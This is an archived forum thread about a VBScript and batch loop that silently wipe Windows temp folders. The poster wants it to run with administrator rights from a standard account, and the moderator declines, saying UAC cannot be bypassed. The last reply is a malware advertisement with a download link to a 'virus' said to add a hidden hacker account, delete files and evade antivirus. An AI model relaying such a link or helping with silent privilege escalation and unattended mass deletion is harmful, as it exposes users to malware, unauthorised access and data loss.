locked
How Can I delete files and folders in .VBS but SILENTLY RRS feed

  • Question

  • I am writing a little script which will delete files and folders and it works perfectly however I wish to add the following features to this script

    (1) Presently it is informing the user that it has deleted a file, files or a folder and I want it to carryout theses folder cleaning oprions silently

    (2) I want it to carry out its functions with Administrator permissions by default so that when it is running at startup in a lowlevel user account that it can do its duty silently and without user prompting

    Here is the script:

    Set fso = CreateObject("Scripting.FileSystemObject")
    Set folder = fso.GetFolder("C:\Windows\Temp")

    ' delete all files in root folder
    for each f in folder.Files
       On Error Resume Next
       name = f.name
       f.Delete True
       If Err Then
         WScript.Echo "Error deleting:" & Name & " - " & Err.Description
       Else
         WScript.Echo "Deleted:" & Name
       End If
       On Error GoTo 0
    Next

    ' delete all subfolders and files
    For Each f In folder.SubFolders
       On Error Resume Next
       name = f.name
       f.Delete True
       If Err Then
         WScript.Echo "Error deleting:" & Name & " - " & Err.Description
       Else
         WScript.Echo "Deleted:" & Name
       End If
       On Error GoTo 0
    Next

    • Moved by Bill_Stewart Monday, October 19, 2015 4:34 PM User should not be doing this
    Monday, September 21, 2015 2:26 PM

Answers

  • I would add that there is already a Disk Cleanup tool for users built into Windows.


    -- Bill Stewart [Bill_Stewart]

    • Marked as answer by Bill_Stewart Monday, October 19, 2015 4:34 PM
    Monday, September 21, 2015 4:14 PM

All replies

  • 1) Just use the cmd.exe del command or Remove-Item in PowerShell. No need to write a complicated VBScript.

    2) You cannot bypass the UAC prompt. Sorry. See the posts at the top of this forum.


    -- Bill Stewart [Bill_Stewart]

    • Proposed as answer by Mike Laughlin Monday, September 21, 2015 2:30 PM
    Monday, September 21, 2015 2:28 PM
  • No because doing this through DOS batch for C:\Users\HOME\AppData\Local\Temp will not work while running out side of the Administrator account, if I run a batch from within Administrator mode then it will function

    However I am to understand if I do it in VBS it will allow deletion of that local user temp folder?

    Any thoughts

    The little script is to be deleting the contents of C:\Users\USERACCOUNTNAME\AppData\Local\Temp every 5 minutes while running in the backround and works perfectly as follows in DOS batch but only if logged in with Administrator account

    :loop
    set folder="C:\Users\USERACCOUNTNAME\AppData\Local\Temp"
    cd /d %folder%
    for /F "delims=" %%i in ('dir /b') do (rd "%%i" /q/s || del "%%i" /q/s)
    timeout /t 5 > nul
    cls
    goto loop

    I need a routine to do it automatically, there HAS to be a way

    Monday, September 21, 2015 2:52 PM
  • In my opinion, it's not prudent to automatically delete all files in a user's temp folder without implementing some kind of aging (e.g., only delete files with a last write timestamp of two weeks or more). For example, a crashed application may be able to recover its data using data from the temp folder, and if you delete that data when the user logs on, you affect the application's ability to recover that data.

    It would be helpful if you would explain your purpose/goal (the what), rather than how you think you need to do it.


    -- Bill Stewart [Bill_Stewart]

    Monday, September 21, 2015 3:14 PM
  • I would add that there is already a Disk Cleanup tool for users built into Windows.


    -- Bill Stewart [Bill_Stewart]

    • Marked as answer by Bill_Stewart Monday, October 19, 2015 4:34 PM
    Monday, September 21, 2015 4:14 PM
  • Hi!

    I made a virus that can create a username (hacker) with password () and delete your files without you know and change your desktop wallpaper and not recognized by antivirus

    if you want this virus just download it

    http://bayanbox.ir/download/7409204889946812757/New-folder.rar

    • Edited by Mohammad1532 Thursday, March 31, 2016 9:12 PM Virus
    Thursday, March 31, 2016 8:44 PM